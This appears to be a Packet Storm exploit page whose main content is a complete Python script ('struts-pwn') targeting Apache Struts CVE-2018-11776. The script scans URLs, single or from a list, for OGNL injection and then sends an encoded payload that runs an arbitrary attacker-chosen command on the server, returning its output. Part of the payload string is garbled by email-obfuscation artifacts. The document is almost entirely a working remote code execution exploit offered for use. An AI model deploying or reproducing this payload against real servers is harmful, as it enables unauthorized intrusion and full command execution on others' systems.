Lucene search

K
packetstormMazin AhmedPACKETSTORM:149086
HistoryAug 26, 2018 - 12:00 a.m.

Apache Struts 2.3 / 2.5 Remote Code Execution

2018-08-2600:00:00
Mazin Ahmed
packetstormsecurity.com
116

0.976 High

EPSS

Percentile

100.0%

`#!/usr/bin/env python3  
# coding=utf-8  
# *****************************************************  
# struts-pwn: Apache Struts CVE-2018-11776 Exploit  
# Author:  
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>  
# This code uses a payload from:  
# https://github.com/jas502n/St2-057  
# *****************************************************  
  
import argparse  
import random  
import requests  
import sys  
try:  
from urllib import parse as urlparse  
except ImportError:  
import urlparse  
  
# Disable SSL warnings  
try:  
import requests.packages.urllib3  
requests.packages.urllib3.disable_warnings()  
except Exception:  
pass  
  
if len(sys.argv) <= 1:  
print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')  
print('[*] Struts-PWN - @mazen160')  
print('\n%s -h for help.' % (sys.argv[0]))  
exit(0)  
  
  
parser = argparse.ArgumentParser()  
parser.add_argument("-u", "--url",  
dest="url",  
help="Check a single URL.",  
action='store')  
parser.add_argument("-l", "--list",  
dest="usedlist",  
help="Check a list of URLs.",  
action='store')  
parser.add_argument("-c", "--cmd",  
dest="cmd",  
help="Command to execute. (Default: 'id')",  
action='store',  
default='id')  
parser.add_argument("--exploit",  
dest="do_exploit",  
help="Exploit.",  
action='store_true')  
  
  
args = parser.parse_args()  
url = args.url if args.url else None  
usedlist = args.usedlist if args.usedlist else None  
cmd = args.cmd if args.cmd else None  
do_exploit = args.do_exploit if args.do_exploit else None  
  
headers = {  
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',  
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',  
'Accept': '*/*'  
}  
timeout = 3  
  
  
def parse_url(url):  
"""  
Parses the URL.  
"""  
  
# url: http://example.com/demo/struts2-showcase/index.action  
  
url = url.replace('#', '%23')  
url = url.replace(' ', '%20')  
  
if ('://' not in url):  
url = str("http://") + str(url)  
scheme = urlparse.urlparse(url).scheme  
  
# Site: http://example.com  
site = scheme + '://' + urlparse.urlparse(url).netloc  
  
# FilePath: /demo/struts2-showcase/index.action  
file_path = urlparse.urlparse(url).path  
if (file_path == ''):  
file_path = '/'  
  
# Filename: index.action  
try:  
filename = url.split('/')[-1]  
except IndexError:  
filename = ''  
  
# File Dir: /demo/struts2-showcase/  
file_dir = file_path.rstrip(filename)  
if (file_dir == ''):  
file_dir = '/'  
  
return({"site": site,  
"file_dir": file_dir,  
"filename": filename})  
  
  
def build_injection_inputs(url):  
"""  
Builds injection inputs for the check.  
"""  
  
parsed_url = parse_url(url)  
injection_inputs = []  
url_directories = parsed_url["file_dir"].split("/")  
  
try:  
url_directories.remove("")  
except ValueError:  
pass  
  
for i in range(len(url_directories)):  
injection_entry = "/".join(url_directories[:i])  
  
if not injection_entry.startswith("/"):  
injection_entry = "/%s" % (injection_entry)  
  
if not injection_entry.endswith("/"):  
injection_entry = "%s/" % (injection_entry)  
  
injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload.  
injection_entry += parsed_url["filename"]  
  
injection_inputs.append(injection_entry)  
  
return(injection_inputs)  
  
  
def check(url):  
random_value = int(''.join(random.choice('0123456789') for i in range(2)))  
multiplication_value = random_value * random_value  
injection_points = build_injection_inputs(url)  
parsed_url = parse_url(url)  
print("[%] Checking for CVE-2018-11776")  
print("[*] URL: %s" % (url))  
print("[*] Total of Attempts: (%s)" % (len(injection_points)))  
attempts_counter = 0  
  
for injection_point in injection_points:  
attempts_counter += 1  
print("[%s/%s]" % (attempts_counter, len(injection_points)))  
testing_url = "%s%s" % (parsed_url["site"], injection_point)  
testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))  
try:  
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)  
except Exception as e:  
print("EXCEPTION::::--> " + str(e))  
continue  
if "Location" in resp.headers.keys():  
if str(multiplication_value) in resp.headers['Location']:  
print("[*] Status: Vulnerable!")  
return(injection_point)  
print("[*] Status: Not Affected.")  
return(None)  
  
  
def exploit(url, cmd):  
parsed_url = parse_url(url)  
  
injection_point = check(url)  
if injection_point is None:  
print("[%] Target is not vulnerable.")  
return(0)  
print("[%] Exploiting...")  
  
payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)  
  
testing_url = "%s%s" % (parsed_url["site"], injection_point)  
testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)  
  
try:  
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)  
except Exception as e:  
print("EXCEPTION::::--> " + str(e))  
return(1)  
  
print("[%] Response:")  
print(resp.text)  
return(0)  
  
  
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):  
if url:  
if not do_exploit:  
check(url)  
else:  
exploit(url, cmd)  
  
if usedlist:  
URLs_List = []  
try:  
f_file = open(str(usedlist), "r")  
URLs_List = f_file.read().replace("\r", "").split("\n")  
try:  
URLs_List.remove("")  
except ValueError:  
pass  
f_file.close()  
except Exception as e:  
print("Error: There was an error in reading list file.")  
print("Exception: " + str(e))  
exit(1)  
for url in URLs_List:  
if not do_exploit:  
check(url)  
else:  
exploit(url, cmd)  
  
print("[%] Done.")  
  
  
if __name__ == "__main__":  
try:  
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)  
except KeyboardInterrupt:  
print("\nKeyboardInterrupt Detected.")  
print("Exiting...")  
exit(0)  
  
`

0.976 High

EPSS

Percentile

100.0%